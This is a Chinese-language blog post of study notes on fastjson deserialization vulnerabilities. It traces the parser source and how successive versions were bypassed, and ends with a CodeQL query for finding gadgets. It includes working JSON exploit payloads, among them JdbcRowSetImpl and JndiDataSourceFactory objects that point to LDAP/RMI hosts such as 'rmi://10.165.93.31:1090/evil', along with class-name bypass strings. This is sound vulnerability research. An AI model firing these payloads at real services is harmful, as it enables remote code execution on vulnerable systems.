fastjson記錄

来源:https://www.cnblogs.com/sentient-being/p/18084972
-Advertisement-
Play Games

參考指南 fastjson:我一路向北,離開有你的季節 | 素十八 (su18.org) Java 反序列化漏洞始末(3)— fastjson - 淺藍 's blog (b1ue.cn) 梅子酒の筆記本 (meizjm3i.github.io) fastjson基礎 早期版本的 fastjson ...


參考指南

fastjson:我一路向北,離開有你的季節 | 素十八 (su18.org)

Java 反序列化漏洞始末(3)— fastjson - 淺藍 's blog (b1ue.cn)

梅子酒の筆記本 (meizjm3i.github.io)

fastjson基礎

早期版本的 fastjson 的框架圖

fastjson 功能要點:

  • fastjson 在創建一個類實例時會通過反射調用類中符合條件的 getter/setter 方法以及構造方法,其中

    • getter 方法需滿足條件:方法名長於 4、不是靜態方法、以 get 開頭且第4位是大寫字母、方法不能有參數傳入、繼承自 Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong、此屬性沒有 setter 方法;
    • setter 方法需滿足條件:方法名長於 4,以 set 開頭且第4位是大寫字母、非靜態方法、返回類型為 void 或當前類、參數個數為 1 個。具體邏輯在 com.alibaba.fastjson.util.JavaBeanInfo.build() 中。
    • 構造方法:優先選無參構造,沒有無參構造會選取唯一的構造方法。如有多個構造方法,優先選參數最多的public構造方法。如參數最多的構造方法有多個則隨機選取一個構造方法。如果被實例化的是靜態內部類,也可以忽視修飾。如果被實例化的是非public類,構造方法里的的參數類型仍然可以進一步反序列化
    • public field參數類型以及靜態代碼塊;
  • fastjson 在為類屬性尋找 get/set 方法時,調用函數 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch() 方法,會忽略 _|- 字元串,也就是說哪怕你的欄位名叫 _a_g_e_,getter 方法為 getAge(),fastjson 也可以找得到,在 1.2.36 版本及後續版本還可以支持同時使用 _- 進行組合混淆。

  • 如果目標類中私有變數沒有 setter 方法,但是在反序列化時仍想給這個變數賦值,則需要使用 Feature.SupportNonPublicField 參數。

漏洞分析

早期

經典利用有兩條利用鏈

  • JdbcRowSetImpl(JNDI) (lookup,最常見)

  • TemplatesImpl(Feature.SupportNonPublicField)(jdk7u21的利用鏈觸發方式)

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://0.0.0.0","autoCommit":true}

{
	"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
	"_bytecodes": ["yv66vgAAADQA...CJAAk="],
	"_name": "hello",
	"_tfactory": {},
	"_outputProperties": {},
}

分析

com.alibaba.fastjson.JSON#parse(java.lang.String, int)中的parse方法實例化一個DefaultJSONParser對象並調用parse方法,之後跟進

DefaultJSONParser會初始化lexer進行不同操作,這個 lexer 屬性實際上是在 DefaultJSONParser 對象被實例化的時候創建的,初始化了個JSONScanner對象

public DefaultJSONParser(String input, ParserConfig config, int features) {
    this(input, new JSONScanner(input, features), config);
}

因為在DefaultJSONParser操作中可明顯看到token為12

public DefaultJSONParser(Object input, JSONLexer lexer, ParserConfig config) {
    this.dateFormatPattern = JSON.DEFFAULT_DATE_FORMAT;
    this.contextArrayIndex = 0;
    this.resolveStatus = 0;
    this.extraTypeProviders = null;
    this.extraProcessors = null;
    this.fieldTypeResolver = null;
    this.lexer = lexer;
    this.input = input;
    this.config = config;
    this.symbolTable = config.symbolTable;
    int ch = lexer.getCurrent();
    if (ch == '{') {
        lexer.next();
        ((JSONLexerBase)lexer).token = 12;
    } else if (ch == '[') {
        lexer.next();
        ((JSONLexerBase)lexer).token = 14;
    } else {
        lexer.nextToken();
    }

}

com.alibaba.fastjson.parser.DefaultJSONParser#parse(java.lang.Object),

case 12:
    JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
    return this.parseObject((Map)object, fieldName);

這裡new 了一個 JSONObject 對象之後進入parseObject方法

com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object),檢測json格式,並對下個字元進行判斷。

進行判斷後,獲取@type對應值,之後使用loadClass進行裝載。之後getDeserializer獲取序列化對象,com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze(com.alibaba.fastjson.parser.DefaultJSONParser, java.lang.reflect.Type, java.lang.Object, java.lang.Object, int)最終進行對其進行反射調用setter操作執行漏洞代碼;

if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
    ref = lexer.scanSymbol(this.symbolTable, '"');
    Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
    if (clazz != null) {
        lexer.nextToken(16);
        if (lexer.token() != 13) {
            this.setResolveStatus(2);
            if (this.context != null && !(fieldName instanceof Integer)) {
                this.popContext();
            }

            if (object.size() > 0) {
                instance = TypeUtils.cast(object, clazz, this.config);
                this.parseObject(instance);
                thisObj = instance;
                return thisObj;
            }

            ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
            thisObj = deserializer.deserialze(this, clazz, fieldName);
            return thisObj;
        }

com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader),只要存在就會緩存到mappings里;

public static Class<?> loadClass(String className, ClassLoader classLoader) {
    if (className != null && className.length() != 0) {
        Class<?> clazz = (Class)mappings.get(className);    // mappings 里緩存了一些常用的基本類型,com.sun.rowset.JdbcRowSetImpl肯定是不在這裡的
        if (clazz != null) {
            return clazz;
        } else if (className.charAt(0) == '[') {
            Class<?> componentType = loadClass(className.substring(1), classLoader);
            return Array.newInstance(componentType, 0).getClass();
        } else if (className.startsWith("L") && className.endsWith(";")) {
            String newClassName = className.substring(1, className.length() - 1);
            return loadClass(newClassName, classLoader);
        } else {            // 最終走到 最後一個else分支里
            try {
                if (classLoader != null) {
                    clazz = classLoader.loadClass(className);
                    mappings.put(className, clazz);
                    return clazz;
                }
            } catch (Throwable var6) {
                var6.printStackTrace();
            }

            try {
                ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
                if (contextClassLoader != null) {
                    clazz = contextClassLoader.loadClass(className);    // 載入類
                    mappings.put(className, clazz); //將類對象緩存在 mappings 對象
                    return clazz;
                }
            } catch (Throwable var5) {
                ;
            }

            try {
                clazz = Class.forName(className);
                mappings.put(className, clazz);
                return clazz;
            } catch (Throwable var4) {
                return clazz;
            }
        }
    } else {
        return null;
    }
}

中期修複

1.2.25版本更新中新增autoTypeSupport預設為false,將不支持指定類的反序列化。並通過checkAutoType函數對載入類進行黑名單+白名單驗證;

獲取類對象的方法由原來的TypeUtils.loadClass替換為了checkAutoType

if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
    ref = lexer.scanSymbol(this.symbolTable, '"');
    Class<?> clazz = this.config.checkAutoType(ref, (Class)null);

com.alibaba.fastjson.parser.ParserConfig#checkAutoType,

  1. 如果開啟了 autoType,先判斷類名是否在白名單中,如果在,就使用 TypeUtils.loadClass 載入,然後使用黑名單判斷類名的開頭,如果匹配就拋出異常。
  2. TypeUtils.mappings 中和 deserializers 中嘗試查找要反序列化的類,存在則return;
  3. 如果沒開啟 autoType ,則是先使用黑名單匹配,再使用白名單匹配和載入。最後,如果要反序列化的類和黑白名單都未匹配時,只有開啟了 autoType 或者 expectClass 不為空也就是指定了 Class 對象時才會調用 TypeUtils.loadClass 載入。因此中期的相關漏洞基本集中於此;

TypeUtils.loadClass的方法和checkAutoType存在判斷差異導致了繞過;(需要開啟autoType),調用loadClass方法是迴圈調用,並且第二個'['也可以進行繞過

Lcom.sun.rowset.JdbcRowSetImpl;
LLLcom.sun.rowset.JdbcRowSetImpl;;;

"[com.sun.rowset.JdbcRowSetImpl"[

if (className != null && className.length() != 0) {
    Class<?> clazz = (Class)mappings.get(className);
    if (clazz != null) {
        return clazz;
    } else if (className.charAt(0) == '[') {
        Class<?> componentType = loadClass(className.substring(1), classLoader);
        return Array.newInstance(componentType, 0).getClass();
    } else if (className.startsWith("L") && className.endsWith(";")) {
        String newClassName = className.substring(1, className.length() - 1);
        return loadClass(newClassName, classLoader);
    } else {
        try {

之後再1.2.42中延續之前檢測模式並且將黑名單採用hash方式,避免了反向研究;

還有就是針對loadClass的修補,以及相關黑名單的添加;

{
    "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
    "properties":{
        "data_source":"ldap://127.0.0.1:23457/Command8"
    }
}

fastjson-1.2.47

到了1.2.47,出現了部分通殺AutoTypeSupport利用漏洞;

影響版本:1.2.25 <= fastjson <= 1.2.32 未開啟 AutoTypeSupport
影響版本:1.2.33 <= fastjson <= 1.2.47

POC:

{
    "name":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "f":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://10.165.93.31:1090/evil",
        "autoCommit":"true"
    }
}

以上我們可以看到是解析兩個對象,第一個是java.lang.Class,其不在黑名單,因此checkAutoType會順利通過;

由前文的checkAutoType邏輯可以發現在兩次AutoTypeSupport判斷中間存在緩存讀取的邏輯;而本次的繞過邏輯也主要集中在此;至於影響版本的差異主要是AutoTypeSupport開啟的黑名單判斷中增加了TypeUtils.mappings是否存在該類緩存的判斷。

  • deserializers 位於 com.alibaba.fastjson.parser.ParserConfig.deserializers ,是一個 IdentityHashMap;這個map的key為各種Class類型,value為其對應的反序列化處理類。賦值的函數有:
    • getDeserializer():這個類用來載入一些特定類,以及有 JSONType 註解的類,在 put 之前都有類名及相關信息的判斷,無法為我們所用。
    • initDeserializers():無入參,在構造方法中調用,寫死一些認為沒有危害的固定常用類,無法為我們所用。
    • putDeserializer():被前兩個函數調用,我們無法控制入參。
  • TypeUtils.getClassFromMapping(typeName)。這個方法從 TypeUtils.mappings 中取值,這是一個 ConcurrentHashMap 對象
    • addBaseClassMappings():無入參,載入
    • loadClass():關鍵函數

關註com.alibaba.fastjson.serializer.MiscCodec#deserialze 方法,這個類主要用於處理特定功能的反序列化類;包括Class.calss類,因此成為入口

com.alibaba.fastjson.serializer.MiscCodec#deserialze

if (clazz == Class.class) {
    return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());

因此,當1.2.32之前版本需要AutoTypeSupport為false,才能走到獲取緩存mapping的操作,而33-47的版本因為在AutoTypeSupport第一步檢查中mapping判斷多了一步緩存檢查,導致了繞過;

fastjson-1.2.68

影響版本:fastjson <= 1.2.68
描述:利用 expectClass 繞過 checkAutoType() ,實際上也是為了繞過安全檢查的思路的延伸。主要使用 ThrowableAutoCloseable 進行繞過。

47之後進行了修複,cache設置為false,並且loadClass設置為預設調用不緩存。

if (clazz == Class.class) {
    return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader(), false);
}

1.2.68新增了個安全控制點sfaeMode,開啟safeMode表示完全禁用autoType;

checkAutoType() 函數中有這樣的邏輯:如果函數有 expectClass 入參,且我們傳入的類名是 expectClass 的子類或實現,並且不在黑名單中,就可以通過 checkAutoType() 的安全檢測。並且會添加入緩存mappings中,進而後續思路就如1.2.47;

if (clazz != null) {
    if (jsonType) {
        TypeUtils.addMapping(typeName, clazz);
        return clazz;
    }

    if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
            || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
            ) {
        throw new JSONException("autoType is not support. " + typeName);
    }

    if (expectClass != null) {
        if (expectClass.isAssignableFrom(clazz)) {
            TypeUtils.addMapping(typeName, clazz);
            return clazz;
        } else {
            throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
        }
    }

可控expectClass入參的方法:

  • ThrowableDeserializer#deserialze(),需要為Throwable子類
  • JavaBeanDeserializer#deserialze() AutoCloseable白名單,其子類

展望

codeql利用挖掘fastjson

漏洞分析 | 利用 CodeQL 分析 fastjson 1.2.80 利用鏈-安全客 - 安全資訊平臺 (anquanke.com)

class ThrowableClass extends Class {
    ThrowableClass() {
        this.getASupertype*().hasQualifiedName("java.lang", "Throwable")
    }
}

Field getPublicFieldFromClass(Class cl) {
    exists(Field field| 
        field.getDeclaringType() = cl
        and field.getAModifier().getName() = "public"
        and result = field
    )
}

Parameter getParameterFromConstructor(Class cl) {
    exists(Constructor constructor, Parameter p | 
        constructor = cl.getAConstructor()
        and constructor.getNumberOfParameters() = max(int i | cl.getAConstructor().getNumberOfParameters() = i | i)
        and p = constructor.getAParameter()
        and result = p
    )
}


class NewInstaceMethod extends Method {
    NewInstaceMethod() {
        exists(GenericClass gclass |
            this.getName() = "newInstance"
            and gclass.getQualifiedName() = "java.lang.reflect.Constructor"
            and this.getDeclaringType().getSourceDeclaration() = gclass
        )
    }
}


query predicate edges(Callable a, Callable b) { 
    a.polyCalls(b)
}


predicate isExcludeClass(RefType type) {
    not (
        type.getQualifiedName() in [
            "java.lang.Object", 
            "java.lang.String",
            "java.lang.Number",
            "java.lang.Integer",
            "java.lang.Class"
        ]
    )
}

from ThrowableClass tclass, Class sourceClass, SetterMethod setter, NewInstaceMethod method, Constructor constructor
where (
    sourceClass = getPublicFieldFromClass(tclass).getType().(Class)
    or (
        setter.getDeclaringType() = tclass
        and sourceClass = setter.getField().getType().(Class)
    )
    or sourceClass = getParameterFromConstructor(tclass).getType().(Class)
) and isExcludeClass(sourceClass)
and isExcludeClass(sourceClass.getASubtype*())
and constructor = sourceClass.getASubtype*().getAConstructor()
and edges+(constructor, method)
select constructor, constructor, method, "Fastjson Gadget"

您的分享是我們最大的動力!

-Advertisement-
Play Games
更多相關文章
  • 拓展閱讀 Devops-01-devops 是什麼? Devops-02-Jpom 簡而輕的低侵入式線上構建、自動部署、日常運維、項目監控軟體 代碼質量管理 SonarQube-01-入門介紹 項目管理平臺-01-jira 入門介紹 缺陷跟蹤管理系統,為針對缺陷管理、任務追蹤和項目管理的商業性應用軟 ...
  • 概述:C++中模板必須在頭文件中實現,因為編譯器需要可見的實現以生成模板具體實例的代碼。通過頭文件,確保模板在每個編譯單元中都能被正確展開,提高可維護性。 在C++中,模板只能在頭文件中實現的主要原因是編譯器在使用模板時需要生成對應的代碼,而這部分代碼必須在編譯時可見。以下是詳細的解釋和示例。 基礎 ...
  • 概述:在C++中,儘管存在技巧在其範圍之外訪問局部變數的記憶體,但這是不安全和易導致未定義行為的做法。通過指針或動態記憶體分配可能違反變數的生命周期和作用域規則,應當避免使用以確保代碼安全性。 在C++中,局部變數的生命周期和作用域限制了它們的訪問範圍,通常不應該在其範圍之外訪問其記憶體。然而,通過一些技 ...
  • java 實現郵件推送 Java實現郵件推送功能 一、引入依賴 <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-email</artifactId> <version>1.4</version> </dep ...
  • C++ 簡介 什麼是 C++? C++ 是一種跨平臺的編程語言,可用於創建高性能應用程式。 C++ 是由 Bjarne Stroustrup 開發的,作為 C 語言的擴展。 C++ 為程式員提供了對系統資源和記憶體的高級控制。 該語言在 2011 年、2014 年、2017 年和 2020 年進行了 ...
  • https://leetcode.cn/problems/product-of-array-except-self/description/?envType=study-plan-v2&envId=top-interview-150 問題在於不使用除法並且空間複雜度為O(1),當第一次從頭開始遍歷時 ...
  • 車輛出險報告查詢功能一直以來都是車主們關註的重點,畢竟瞭解一輛車的出險、理賠和事故記錄對於購車和保險的選擇都有著重要影響。而今天,我將向大家介紹一款實用的API介面,通過提供車輛出險報告查詢的功能,幫助車主們快速瞭解車輛的歷史記錄。 這個API介面的使用非常簡單方便,只需要提供車輛的VIN碼和行駛證 ...
  • 你好,這裡是codetrend專欄“SpringCloud2023實戰”。歡迎點擊關註查看往期文章。 註冊中心在前文提到有很多選型,在這裡以Spring Cloud Zookeeper為例說明註冊中心的集成和使用。 選擇Spring Cloud Zookeeper作為註冊中心原因如下: 依賴更少,只 ...
一周排行
    -Advertisement-
    Play Games
  • 基於.NET Framework 4.8 開發的深度學習模型部署測試平臺,提供了YOLO框架的主流系列模型,包括YOLOv8~v9,以及其系列下的Det、Seg、Pose、Obb、Cls等應用場景,同時支持圖像與視頻檢測。模型部署引擎使用的是OpenVINO™、TensorRT、ONNX runti... ...
  • 十年沉澱,重啟開發之路 十年前,我沉浸在開發的海洋中,每日與代碼為伍,與演算法共舞。那時的我,滿懷激情,對技術的追求近乎狂熱。然而,隨著歲月的流逝,生活的忙碌逐漸占據了我的大部分時間,讓我無暇顧及技術的沉澱與積累。 十年間,我經歷了職業生涯的起伏和變遷。從初出茅廬的菜鳥到逐漸嶄露頭角的開發者,我見證了 ...
  • C# 是一種簡單、現代、面向對象和類型安全的編程語言。.NET 是由 Microsoft 創建的開發平臺,平臺包含了語言規範、工具、運行,支持開發各種應用,如Web、移動、桌面等。.NET框架有多個實現,如.NET Framework、.NET Core(及後續的.NET 5+版本),以及社區版本M... ...
  • 前言 本文介紹瞭如何使用三菱提供的MX Component插件實現對三菱PLC軟元件數據的讀寫,記錄了使用電腦模擬,模擬PLC,直至完成測試的詳細流程,並重點介紹了在這個過程中的易錯點,供參考。 用到的軟體: 1. PLC開發編程環境GX Works2,GX Works2下載鏈接 https:// ...
  • 前言 整理這個官方翻譯的系列,原因是網上大部分的 tomcat 版本比較舊,此版本為 v11 最新的版本。 開源項目 從零手寫實現 tomcat minicat 別稱【嗅虎】心有猛虎,輕嗅薔薇。 系列文章 web server apache tomcat11-01-官方文檔入門介紹 web serv ...
  • 1、jQuery介紹 jQuery是什麼 jQuery是一個快速、簡潔的JavaScript框架,是繼Prototype之後又一個優秀的JavaScript代碼庫(或JavaScript框架)。jQuery設計的宗旨是“write Less,Do More”,即倡導寫更少的代碼,做更多的事情。它封裝 ...
  • 前言 之前的文章把js引擎(aardio封裝庫) 微軟開源的js引擎(ChakraCore))寫好了,這篇文章整點js代碼來測一下bug。測試網站:https://fanyi.youdao.com/index.html#/ 逆向思路 逆向思路可以看有道翻譯js逆向(MD5加密,AES加密)附完整源碼 ...
  • 引言 現代的操作系統(Windows,Linux,Mac OS)等都可以同時打開多個軟體(任務),這些軟體在我們的感知上是同時運行的,例如我們可以一邊瀏覽網頁,一邊聽音樂。而CPU執行代碼同一時間只能執行一條,但即使我們的電腦是單核CPU也可以同時運行多個任務,如下圖所示,這是因為我們的 CPU 的 ...
  • 掌握使用Python進行文本英文統計的基本方法,並瞭解如何進一步優化和擴展這些方法,以應對更複雜的文本分析任務。 ...
  • 背景 Redis多數據源常見的場景: 分區數據處理:當數據量增長時,單個Redis實例可能無法處理所有的數據。通過使用多個Redis數據源,可以將數據分區存儲在不同的實例中,使得數據處理更加高效。 多租戶應用程式:對於多租戶應用程式,每個租戶可以擁有自己的Redis數據源,以確保數據隔離和安全性。 ...